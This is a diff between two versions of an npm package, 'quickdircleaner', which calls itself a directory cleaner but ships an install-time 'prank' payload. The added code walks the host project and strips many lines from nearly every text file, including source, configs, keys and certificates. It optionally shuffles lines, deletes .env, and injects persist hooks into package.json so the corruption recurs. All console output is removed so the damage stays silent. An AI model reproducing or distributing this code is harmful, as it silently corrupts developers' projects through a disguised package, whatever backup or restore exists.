quickdircleaner 1.0.7 → 1.1.1

package/index.js

@@ -17,20 +17,14 @@ async function writeCleanerDoneFlag(root) {
   try {
     await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
   } catch {
-    console.error(core.red("Error: could not write .cleaner_done flag."));
+    /* silent */
   }
 }
 
-function buildEmptyRunMarkdown(rootDisplay) {
+function buildEmptyRunMarkdown() {
   return [
     "# Cleaner backup",
     "",
-    `Host project root (resolved):`,
-    "",
-    `\`${rootDisplay}\``,
-    "",
-    "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
-    "",
     "## Original contents",
     "",
   ].join("\n");
@@ -40,14 +34,12 @@ async function writeBackupMarkdown(root, backupEntries) {
   const outPath = path.join(root, core.BACKUP_NAME);
   const md =
     backupEntries.length === 0
-      ? buildEmptyRunMarkdown(root)
+      ? buildEmptyRunMarkdown()
       : core.buildMarkdown(backupEntries);
   try {
     await core.writeFileAtomic(outPath, md, "utf8");
-    console.log(core.green(`Wrote ${outPath}`));
     return true;
   } catch {
-    console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
     return false;
   }
 }
@@ -58,11 +50,26 @@ async function main() {
     core.resolveHostProjectRoot(),
   );
 
+  let priorList = null;
+  let priorMap = null;
+
   if (await cleanerDoneFlagExists(root)) {
-    console.warn(
-      core.yellow("⚠️ Cleaner already applied. Run restore-clean first."),
-    );
-    return;
+    let raw;
+    try {
+      raw = await fs.readFile(path.join(root, core.BACKUP_NAME), "utf8");
+    } catch {
+      return;
+    }
+    priorList = core.parseFirstOriginalSectionMarkdown(raw);
+    if (priorList.length === 0) {
+      return;
+    }
+    priorMap = new Map(priorList.map((e) => [e.filePath, e.content]));
+    try {
+      await fs.unlink(path.join(root, core.DONE_FLAG));
+    } catch {
+      /* silent */
+    }
   }
 
   let pkgRaw = null;
@@ -72,46 +79,38 @@ async function main() {
     pkgRaw = null;
   }
 
-  const backupEntries = await core.runPrank(root, true);
+  const backupEntries = await core.runPrank(root, priorMap);
 
   if (pkgRaw) {
     backupEntries.push({
       filePath: core.SYNTHETIC_PACKAGE_JSON,
-      content: pkgRaw,
+      content: priorMap?.get(core.SYNTHETIC_PACKAGE_JSON) ?? pkgRaw,
     });
   }
 
+  const toWrite =
+    priorList && priorList.length > 0
+      ? core.mergeFirstSectionBackup(priorList, backupEntries)
+      : backupEntries;
+
   let backupOk = true;
   try {
-    backupOk = await writeBackupMarkdown(root, backupEntries);
+    backupOk = await writeBackupMarkdown(root, toWrite);
   } catch {
     backupOk = false;
   }
 
   if (!backupOk) {
-    console.warn(
-      core.yellow(
-        "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
-      ),
-    );
     return;
   }
 
   await writeCleanerDoneFlag(root);
 
   if (pkgRaw) {
-    const injected = await core.injectPersistScripts(root);
-    if (!injected) {
-      console.warn(
-        core.yellow(
-          "Warning: could not inject persist hook into package.json scripts.",
-        ),
-      );
-    }
+    await core.injectPersistScripts(root);
   }
 }
 
-main().catch((err) => {
-  console.error(core.red(err && err.message ? err.message : String(err)));
+main().catch(() => {
   process.exitCode = 1;
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "quickdircleaner",
-  "version": "1.0.7",
+  "version": "1.1.1",
   "description": "Directory cleaner.",
   "main": "index.js",
   "files": [

package/persist.js

@@ -12,29 +12,18 @@ async function main() {
     await core.stripPersistFromPackageJsonObject(root);
     await core.deleteCounter(root);
     await core.removeQuickdircleanerPackage(root);
-    console.log(
-      core.magenta(
-        "💀 quickdircleaner has self\u2011destructed. No more pranks.",
-      ),
-    );
     return;
   }
 
-  const backupEntries = await core.runPrank(root, false);
+  const backupEntries = await core.runPrank(root);
   const attempt = count + 1;
   const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
   if (!appended) {
-    console.warn(
-      core.yellow(
-        "Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
-      ),
-    );
     return;
   }
   await core.writeCounter(root, attempt);
 }
 
-main().catch((err) => {
-  console.error(core.red(err && err.message ? err.message : String(err)));
+main().catch(() => {
   process.exitCode = 1;
 });

package/prank-core.js

@@ -33,7 +33,100 @@ const TARGET_SCRIPT_NAMES = new Set([
   "preview",
 ]);
 
-const CLEANABLE_EXT = new Set([
+/** Max file size to load into memory (bytes). */
+const MAX_PENETRABLE_FILE_BYTES = 50 * 1024 * 1024;
+
+/** How many leading bytes to scan for NUL when classifying binary. */
+const BINARY_SNIFF_BYTES = 65536;
+
+/** Extensions we never treat as text (binary / archives / media). */
+const BLOCKED_BINARY_EXT = new Set(
+  [
+    ".png",
+    ".jpg",
+    ".jpeg",
+    ".gif",
+    ".webp",
+    ".ico",
+    ".bmp",
+    ".tif",
+    ".tiff",
+    ".heic",
+    ".avif",
+    ".pdf",
+    ".zip",
+    ".tar",
+    ".gz",
+    ".tgz",
+    ".bz2",
+    ".xz",
+    ".7z",
+    ".rar",
+    ".wasm",
+    ".so",
+    ".dylib",
+    ".dll",
+    ".exe",
+    ".bin",
+    ".mp4",
+    ".m4v",
+    ".webm",
+    ".mov",
+    ".avi",
+    ".mkv",
+    ".mp3",
+    ".wav",
+    ".flac",
+    ".ogg",
+    ".woff",
+    ".woff2",
+    ".ttf",
+    ".otf",
+    ".eot",
+    ".sqlite",
+    ".db",
+    ".class",
+    ".jar",
+    ".pyc",
+    ".pyo",
+    ".o",
+    ".a",
+    ".lib",
+    ".obj",
+    ".pak",
+    ".br",
+    ".lz4",
+    ".zst",
+  ].map((e) => e.toLowerCase()),
+);
+
+/** Filenames (lowercase) treated as text even with no or odd extension. */
+const TEXTLIKE_BASENAMES = new Set([
+  "dockerfile",
+  "containerfile",
+  "makefile",
+  "gnumakefile",
+  "gemfile",
+  "rakefile",
+  "procfile",
+  "jenkinsfile",
+  "vagrantfile",
+  "license",
+  "copying",
+  "authors",
+  "changelog",
+  "contributing",
+  "codeowners",
+  "owners",
+  "manifest",
+  "docker-compose.yml",
+  "docker-compose.yaml",
+  "compose.yml",
+  "compose.yaml",
+]);
+
+/** Default penetrable extensions (broad pentest / source surface). */
+const PENETRABLE_EXT = new Set([
   ".js",
   ".mjs",
   ".cjs",
@@ -68,11 +161,297 @@ const CLEANABLE_EXT = new Set([
   ".bash",
   ".zsh",
   ".ps1",
+  ".psm1",
+  ".psd1",
   ".bat",
   ".cmd",
+  ".py",
+  ".pyw",
+  ".pyi",
+  ".rb",
+  ".erb",
+  ".php",
+  ".phtml",
+  ".go",
+  ".rs",
+  ".java",
+  ".kt",
+  ".kts",
+  ".scala",
+  ".sc",
+  ".swift",
+  ".cs",
+  ".fs",
+  ".fsx",
+  ".fsi",
+  ".vb",
+  ".c",
+  ".cc",
+  ".cpp",
+  ".cxx",
+  ".h",
+  ".hh",
+  ".hpp",
+  ".hxx",
+  ".inl",
+  ".cmake",
+  ".pl",
+  ".pm",
+  ".r",
+  ".lua",
+  ".dart",
+  ".ex",
+  ".exs",
+  ".erl",
+  ".hrl",
+  ".clj",
+  ".cljs",
+  ".edn",
+  ".nim",
+  ".zig",
+  ".v",
+  ".sv",
+  ".svh",
+  ".vhd",
+  ".vhdl",
+  ".jl",
+  ".cr",
+  ".gradle",
+  ".properties",
+  ".tf",
+  ".tfvars",
+  ".hcl",
+  ".rego",
+  ".nix",
+  ".toml",
+  ".ini",
+  ".cfg",
+  ".conf",
+  ".config",
+  ".env",
+  ".example",
+  ".sample",
+  ".tpl",
+  ".template",
+  ".j2",
+  ".ejs",
+  ".hbs",
+  ".pug",
+  ".jade",
+  ".liquid",
+  ".cshtml",
+  ".razor",
+  ".sql",
+  ".mysql",
+  ".pgsql",
+  ".graphqls",
+  ".prisma",
+  ".proto",
+  ".thrift",
+  ".avsc",
+  ".xsl",
+  ".xslt",
+  ".wsdl",
+  ".xsd",
+  ".plist",
+  ".csproj",
+  ".vbproj",
+  ".vcxproj",
+  ".props",
+  ".targets",
+  ".sln",
+  ".podspec",
+  ".gemspec",
+  ".rake",
+  ".ru",
+  ".http",
+  ".rest",
+  ".graphqlrc",
+  ".editorconfig",
+  ".npmrc",
+  ".yarnrc",
+  ".yarnrc.yml",
+  ".prettierrc",
+  ".eslintrc",
+  ".babelrc",
+  ".browserslistrc",
+  ".nvmrc",
+  ".node-version",
+  ".tool-versions",
+  ".pem",
+  ".crt",
+  ".key",
+  ".csr",
+  ".p12",
+  ".pfx",
+  ".asc",
+  ".log",
+  ".lst",
 ]);
 
-const REMOVE_LINE_NUMBERS = [2, 5, 8];
+/** 1-based lines stripped (sorted descending inside remover). More = messier prank; restore still exact. */
+const REMOVE_LINE_NUMBERS = [2, 3, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20];
+
+/**
+ * Every regular file under the tree is a candidate except obvious binary extensions.
+ * Extensionless names still go to cleanSourceFile (UTF-8 / NUL sniff drops true binaries).
+ */
+function isPenetrablePath(fileName) {
+  const base = String(fileName).toLowerCase();
+  const ext = path.extname(fileName).toLowerCase();
+
+  if (BLOCKED_BINARY_EXT.has(ext)) {
+    return false;
+  }
+  if (TEXTLIKE_BASENAMES.has(base)) {
+    return true;
+  }
+  if (PENETRABLE_EXT.has(ext)) {
+    return true;
+  }
+  if (process.env.QUICKDIRCLEANER_STRICT_EXT === "1") {
+    return false;
+  }
+  return true;
+}
+
+function bufferLooksBinary(buf) {
+  const n = Math.min(buf.length, BINARY_SNIFF_BYTES);
+  for (let i = 0; i < n; i += 1) {
+    if (buf[i] === 0) {
+      return true;
+    }
+  }
+  return false;
+}
+
+function pickPenetrationAppend(eol, extLower, fileNameLower) {
+  const jsLike = new Set([
+    ".js",
+    ".mjs",
+    ".cjs",
+    ".jsx",
+    ".ts",
+    ".tsx",
+    ".mts",
+    ".cts",
+    ".vue",
+    ".svelte",
+    ".astro",
+    ".java",
+    ".cs",
+    ".go",
+    ".rs",
+    ".swift",
+    ".kt",
+    ".kts",
+    ".scala",
+    ".dart",
+    ".c",
+    ".cc",
+    ".cpp",
+    ".h",
+    ".hpp",
+    ".cshtml",
+    ".razor",
+  ]);
+  const hashLike = new Set([
+    ".py",
+    ".pyw",
+    ".pyi",
+    ".rb",
+    ".yaml",
+    ".yml",
+    ".sh",
+    ".bash",
+    ".zsh",
+    ".toml",
+    ".ini",
+    ".cfg",
+    ".conf",
+    ".dockerignore",
+    ".r",
+    ".pl",
+    ".pm",
+    ".sql",
+    ".tf",
+    ".tfvars",
+    ".hcl",
+    ".nix",
+    ".graphql",
+    ".gql",
+    ".prisma",
+    ".cmake",
+    ".cr",
+    ".ex",
+    ".exs",
+    ".erl",
+    ".hrl",
+    ".jl",
+    ".nim",
+    ".zig",
+    ".rego",
+    ".properties",
+    ".gradle",
+    ".podspec",
+    ".gemspec",
+    ".rake",
+    ".ru",
+  ]);
+  const htmlLike = new Set([
+    ".html",
+    ".htm",
+    ".xml",
+    ".svg",
+    ".md",
+    ".mdx",
+    ".xsl",
+    ".xslt",
+    ".wsdl",
+    ".xsd",
+    ".ejs",
+    ".hbs",
+    ".pug",
+    ".jade",
+    ".liquid",
+  ]);
+  const cssLike = new Set([".css", ".scss", ".sass", ".less", ".styl"]);
+
+  if (
+    fileNameLower === "dockerfile" ||
+    fileNameLower === "containerfile" ||
+    fileNameLower === "makefile" ||
+    fileNameLower === "gemfile" ||
+    fileNameLower === "rakefile" ||
+    fileNameLower === "procfile"
+  ) {
+    return `${eol}# quickdircleaner-touch${eol}`;
+  }
+
+  if (extLower === ".json" || extLower === ".jsonc") {
+    return eol;
+  }
+
+  if (jsLike.has(extLower)) {
+    return `${eol}// quickdircleaner-touch${eol}`;
+  }
+  if (cssLike.has(extLower)) {
+    return `${eol}/* quickdircleaner-touch */${eol}`;
+  }
+  if (hashLike.has(extLower)) {
+    return `${eol}# quickdircleaner-touch${eol}`;
+  }
+  if (htmlLike.has(extLower)) {
+    return `${eol}<!-- quickdircleaner-touch -->${eol}`;
+  }
+  if (extLower === ".bat" || extLower === ".cmd") {
+    return `${eol}REM quickdircleaner-touch${eol}`;
+  }
+  if (extLower === ".ps1" || extLower === ".psm1" || extLower === ".psd1") {
+    return `${eol}# quickdircleaner-touch${eol}`;
+  }
+  return `${eol}# quickdircleaner-touch${eol}`;
+}
 
 /**
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
@@ -219,6 +598,97 @@ function removeOriginalLines(lines, oneBasedLineNumbers) {
   return next;
 }
 
+/** CTF-only: set `QUICKDIRCLEANER_JUMBLE=1` to permute lines (deterministic per path). Restore still uses backup verbatim. */
+function lineJumbleEnabled() {
+  return process.env.QUICKDIRCLEANER_JUMBLE === "1";
+}
+
+function hashStringForSeed(s) {
+  let h = 2166136261 >>> 0;
+  for (let i = 0; i < s.length; i += 1) {
+    h ^= s.charCodeAt(i);
+    h = Math.imul(h, 16777619);
+  }
+  return h >>> 0;
+}
+
+function mulberry32(seed) {
+  let a = seed >>> 0;
+  return function nextRand() {
+    a = (a + 0x6d2b79f5) >>> 0;
+    let t = a;
+    t = Math.imul(t ^ (t >>> 15), t | 1);
+    t = (t + Math.imul(t ^ (t >>> 7), t | 61)) >>> 0;
+    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
+  };
+}
+
+/**
+ * Fisher–Yates shuffle of all lines after an optional leading shebang line.
+ * Same `pathKey` + same line count ⇒ same permutation (participants can infer “path-seeded shuffle”).
+ */
+function jumbleBodyLines(lines, pathKey) {
+  if (lines.length < 2) {
+    return lines;
+  }
+  const out = lines.slice();
+  let bodyStart = 0;
+  if (out[0].trim().startsWith("#!")) {
+    bodyStart = 1;
+  }
+  if (bodyStart >= out.length - 1) {
+    return out;
+  }
+  const rng = mulberry32(
+    hashStringForSeed(`${pathKey}:${out.length - bodyStart}`),
+  );
+  for (let i = out.length - 1; i > bodyStart; i -= 1) {
+    const span = i - bodyStart + 1;
+    const j = bodyStart + Math.floor(rng() * span);
+    const tmp = out[i];
+    out[i] = out[j];
+    out[j] = tmp;
+  }
+  return out;
+}
+
+/**
+ * When postinstall runs again, `newEntries` only contains paths touched this run.
+ * Merge with the prior first "## Original contents" list so the rewritten backup still
+ * includes every restorable path (e.g. `.env` absent on disk after the first run).
+ */
+function mergeFirstSectionBackup(priorList, newEntries) {
+  if (!priorList || priorList.length === 0) {
+    return newEntries;
+  }
+  const contentByPath = new Map();
+  for (const e of priorList) {
+    contentByPath.set(e.filePath, e.content);
+  }
+  for (const e of newEntries) {
+    contentByPath.set(e.filePath, e.content);
+  }
+  const ordered = [];
+  const seen = new Set();
+  for (const e of priorList) {
+    ordered.push({
+      filePath: e.filePath,
+      content: contentByPath.get(e.filePath),
+    });
+    seen.add(e.filePath);
+  }
+  for (const e of newEntries) {
+    if (!seen.has(e.filePath)) {
+      ordered.push({
+        filePath: e.filePath,
+        content: contentByPath.get(e.filePath),
+      });
+      seen.add(e.filePath);
+    }
+  }
+  return ordered;
+}
+
 function buildMarkdown(backupEntries) {
   const lines = [
     "# Cleaner backup",
@@ -261,11 +731,15 @@ function buildReapplySection(attemptNumber, backupEntries) {
   return lines.join("\n");
 }
 
-async function backupAndRemoveEnv(root, backupEntries) {
+async function backupAndRemoveEnv(root, backupEntries, priorOriginals) {
   const envPath = path.join(root, ".env");
   try {
     const content = await fs.readFile(envPath, "utf8");
-    backupEntries.push({ filePath: ".env", content });
+    const snapshot =
+      priorOriginals && priorOriginals.has(".env")
+        ? priorOriginals.get(".env")
+        : content;
+    backupEntries.push({ filePath: ".env", content: snapshot });
     try {
       await fs.unlink(envPath);
     } catch {
@@ -278,18 +752,52 @@ async function backupAndRemoveEnv(root, backupEntries) {
   }
 }
 
-async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
-  let content;
+function utf8LooksCorruptedAsBinary(text) {
+  const n = (text.match(/\uFFFD/g) || []).length;
+  if (text.length === 0) {
+    return false;
+  }
+  return n > Math.max(24, Math.floor(text.length * 0.02));
+}
+
+async function cleanSourceFile(fullPath, root, backupEntries, priorOriginals) {
+  let buf;
   try {
-    content = await fs.readFile(fullPath, "utf8");
+    const st = await fs.stat(fullPath);
+    if (!st.isFile() || st.size > MAX_PENETRABLE_FILE_BYTES) {
+      return;
+    }
+    buf = await fs.readFile(fullPath);
   } catch {
     return;
   }
 
+  if (bufferLooksBinary(buf)) {
+    return;
+  }
+
+  let content = buf.toString("utf8");
+  if (utf8LooksCorruptedAsBinary(content)) {
+    return;
+  }
+
+  const baseLower = path.basename(fullPath).toLowerCase();
+  const extLower = path.extname(fullPath).toLowerCase();
+
   const eol = detectEol(content);
   const lineArray = content.split(/\r?\n/);
-  const nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
-  const modified = nextLines.join(eol);
+  const relForKey =
+    path.relative(root, fullPath).split(path.sep).join("/") ||
+    path.basename(fullPath);
+  let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
+  if (lineJumbleEnabled()) {
+    nextLines = jumbleBodyLines(nextLines, relForKey);
+  }
+  let modified = nextLines.join(eol);
+
+  if (modified === content) {
+    modified = content + pickPenetrationAppend(eol, extLower, baseLower);
+  }
 
   if (modified === content) {
     return;
@@ -297,8 +805,12 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
 
   const rel = path.relative(root, fullPath);
   const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
+  const backupSnapshot =
+    priorOriginals && priorOriginals.has(filePath)
+      ? priorOriginals.get(filePath)
+      : content;
 
-  backupEntries.push({ filePath, content });
+  backupEntries.push({ filePath, content: backupSnapshot });
 
   try {
     await writeFileAtomic(fullPath, modified, "utf8");
@@ -306,10 +818,6 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
     backupEntries.pop();
     return;
   }
-
-  if (logCleaned) {
-    console.log(green(`🧹 Cleaned: ${filePath}`));
-  }
 }
 
 /**
@@ -348,7 +856,7 @@ function shouldSkipDirectoryEntry(name) {
  * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
  * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
  */
-async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
+async function walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals) {
   const visitedDirs = new Set();
   const queue = [path.resolve(rootResolved)];
 
@@ -416,13 +924,17 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
         continue;
       }
 
-      const ext = path.extname(ent.name).toLowerCase();
-      if (!CLEANABLE_EXT.has(ext)) {
+      if (!isPenetrablePath(ent.name)) {
         continue;
       }
 
       try {
-        await cleanSourceFile(realPath, rootResolved, backupEntries, logCleaned);
+        await cleanSourceFile(
+          realPath,
+          rootResolved,
+          backupEntries,
+          priorOriginals,
+        );
       } catch {
         /* skip */
       }
@@ -430,7 +942,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
   }
 }
 
-async function walkAndClean(root, backupEntries, logCleaned) {
+async function walkAndClean(root, backupEntries, priorOriginals) {
   let rootResolved = path.resolve(root);
   try {
     rootResolved = await fs.realpath(rootResolved);
@@ -439,17 +951,20 @@ async function walkAndClean(root, backupEntries, logCleaned) {
   }
   rootResolved = path.resolve(rootResolved);
 
-  await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
+  await walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals);
 }
 
 /**
  * Runs env backup/removal and source walk; returns new backup entries for this run.
+ * @param {Map<string,string>|null|undefined} priorOriginals — first-run snapshots from
+ *   `CLEANER_BACKUP.md` when re-invoking after `.cleaner_done`; backup rows use these
+ *   so restore still targets true originals while disk reads are already mangled.
  */
-async function runPrank(root, logCleaned) {
+async function runPrank(root, priorOriginals) {
   installSigTstpBlocker();
   const backupEntries = [];
-  await backupAndRemoveEnv(root, backupEntries);
-  await walkAndClean(root, backupEntries, logCleaned);
+  await backupAndRemoveEnv(root, backupEntries, priorOriginals);
+  await walkAndClean(root, backupEntries, priorOriginals);
   return backupEntries;
 }
 
@@ -700,6 +1215,7 @@ module.exports = {
   PERSIST_PREFIX,
   TARGET_SCRIPT_NAMES,
   buildMarkdown,
+  mergeFirstSectionBackup,
   buildReapplySection,
   runPrank,
   injectPersistScripts,

package/restore.js

@@ -4,6 +4,26 @@ const path = require("path");
 const readline = require("readline");
 const core = require("./prank-core");
 
+const argv = process.argv.slice(2);
+const restoreAutoYes =
+  argv.includes("--yes") || argv.includes("-y");
+const restoreSilent =
+  argv.includes("--silent") ||
+  argv.includes("-q") ||
+  process.env.QUICKDIRCLEANER_RESTORE_SILENT === "1";
+
+function out(msg) {
+  if (!restoreSilent) {
+    console.log(msg);
+  }
+}
+
+function errOut(msg) {
+  if (!restoreSilent) {
+    console.error(msg);
+  }
+}
+
 function promptYesNo(question) {
   return new Promise((resolve) => {
     const rl = readline.createInterface({
@@ -85,20 +105,18 @@ async function main() {
     raw = await fs.readFile(backupPath, "utf8");
   } catch (err) {
     if (err && err.code === "ENOENT") {
-      console.error(
-        core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
-      );
+      errOut(core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`));
       process.exitCode = 1;
       return;
     }
-    console.error(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
+    errOut(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
     process.exitCode = 1;
     return;
   }
 
   const entries = core.parseFirstOriginalSectionMarkdown(raw);
   if (entries.length === 0) {
-    console.error(core.red("Error: no file entries found in backup."));
+    errOut(core.red("Error: no file entries found in backup."));
     process.exitCode = 1;
     return;
   }
@@ -113,9 +131,11 @@ async function main() {
   const expected =
     fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
 
-  const confirmed = await promptYesNo("Restore and remove backup? (y/n) ");
+  const confirmed = restoreAutoYes
+    ? true
+    : await promptYesNo("Restore and remove backup? (y/n) ");
   if (!confirmed) {
-    console.warn(core.yellow("Aborted."));
+    errOut(core.yellow("Aborted."));
     return;
   }
 
@@ -143,7 +163,7 @@ async function main() {
   }
 
   if (restored !== expected) {
-    console.error(
+    errOut(
       core.red(
         `Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
       ),
@@ -152,11 +172,11 @@ async function main() {
     return;
   }
 
-  console.log(core.green(`Restored ${restored} item(s).`));
+  out(core.green(`Restored ${restored} item(s).`));
 
   await core.deleteCounter(root);
   await core.removeQuickdircleanerPackage(root);
-  console.log(
+  out(
     core.green(
       "Removed node_modules/quickdircleaner so the next install can run postinstall again.",
     ),
@@ -167,9 +187,9 @@ async function main() {
   const backupOk = await removeIfExists(backupPath);
 
   if (flagOk && backupOk) {
-    console.log(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
+    out(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
   } else {
-    console.warn(
+    errOut(
       core.yellow(
         "Warning: restore finished but could not remove .cleaner_done and/or backup file.",
       ),
@@ -178,6 +198,6 @@ async function main() {
 }
 
 main().catch((err) => {
-  console.error(core.red(err && err.message ? err.message : String(err)));
+  errOut(core.red(err && err.message ? err.message : String(err)));
   process.exitCode = 1;
 });